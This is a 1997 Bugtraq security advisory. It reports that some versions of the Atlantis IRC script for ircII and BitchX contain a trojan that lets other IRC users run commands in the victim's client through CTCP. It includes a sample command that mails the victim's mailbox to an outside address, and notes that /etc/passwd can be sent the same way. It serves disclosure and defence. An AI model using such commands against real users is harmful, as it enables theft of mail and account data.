IRC script trojan with Unix based clients

Lista de securitate (bugtraq@LICJ.SOROSCJ.RO)
Sat, 31 May 1997 01:03:21 +0300

This is a very strange trojan which affects Unix users (other
OS-es may be affected as well) which use ircII or BitchX to link to irc
servers. And in my country many system administrators do this. It was
presented on the irc as amusement (how to kick off a listop with no access
rights) but it may have more serious consequences.

Some versions of a very popular (at least in romania) irc script
(Atlantis) are trojan horses which implement new ctcp commands which allow
other people on the irc world to execute irc commands in your client

INCLUDING /DCC SEND AND /EXEC
(if the client supports them)

Atlantis 1.2b is the best known version of the script and if used under
ircII (Unix version, Linux tested) The user using these two can have the
mail read by others. Sample ircII prompt; noob victim, feur intruder:

<feur> /ctcp noob version
**** CTCP VERSION reply from noob: [AtlantiS(v1.2b)] by Dethnite
<feur> /ctcp noob jupe exec cat $MAIL | mail raf@licj.soroscj.ro

in a similar way /etc/passwd can be sent, allowing the intruder to obtain
information about the users on the system.

other atlantis versions seem to be affected as well. The only version that
is clean is version 1.1. The BitchX client also "supports" the trojan.

--
Radu-Adrian Feurdean
raf@licj.soroscj.ro